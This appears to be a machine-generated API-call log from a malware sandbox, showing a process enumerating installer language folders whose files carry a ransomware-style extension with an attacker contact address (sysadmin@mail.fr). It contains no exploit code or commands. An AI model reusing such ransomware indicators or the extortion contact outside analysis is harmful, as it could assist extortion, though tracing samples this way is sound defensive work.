	[0178.918] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.918] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x991de6e7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x991de6e7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9920498c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9920498c, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9920498c, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9935bf1c, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98939f78, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98939f78, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a44fd4, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.919] FindClose (in: hFindFile=0x3cf08e8 | out: hFindFile=0x3cf08e8) returned 1
	[0178.920] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.920] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1042", cAlternateFileName="")) returned 1
	[0178.921] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.921] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf1068
	[0178.922] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.922] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9922acae, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9922acae, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x992c4723, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.923] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99250e61, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99250e61, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9929d2de, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.923] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.923] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98960125, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98960125, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a6b29d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.923] FindClose (in: hFindFile=0x3cf1068 | out: hFindFile=0x3cf1068) returned 1
	[0178.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.925] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1043", cAlternateFileName="")) returned 1
	[0178.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.925] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0a28
	[0178.926] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.926] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.926] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99466f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.927] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.927] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98be8ab5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.927] FindClose (in: hFindFile=0x3cf0a28 | out: hFindFile=0x3cf0a28) returned 1
	[0178.928] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.928] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1044", cAlternateFileName="")) returned 1
	[0178.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.928] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf1068
	[0178.929] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.930] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x993a836e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x993a836e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x995be558, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.930] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9938231b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9938231b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9941aa89, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.930] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.930] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.930] FindClose (in: hFindFile=0x3cf1068 | out: hFindFile=0x3cf1068) returned 1
	[0178.931] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.931] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1045", cAlternateFileName="")) returned 1
	[0178.931] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.932] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0da8
	[0178.933] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.933] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9941aa89, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9941aa89, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.933] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99466f1e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99466f1e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9973bbef, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.933] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.933] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a6b29d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a6b29d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c34ed2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.934] FindClose (in: hFindFile=0x3cf0da8 | out: hFindFile=0x3cf0da8) returned 1
	[0178.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.934] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1046", cAlternateFileName="")) returned 1
	[0178.935] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf0c68
	[0178.936] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.936] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9948d540, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9948d540, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99715aa1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.936] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x995be558, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x995be558, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99656df0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.936] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.937] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b03b8f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.937] FindClose (in: hFindFile=0x3cf0c68 | out: hFindFile=0x3cf0c68) returned 1
	[0178.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.938] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1049", cAlternateFileName="")) returned 1
	[0178.938] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
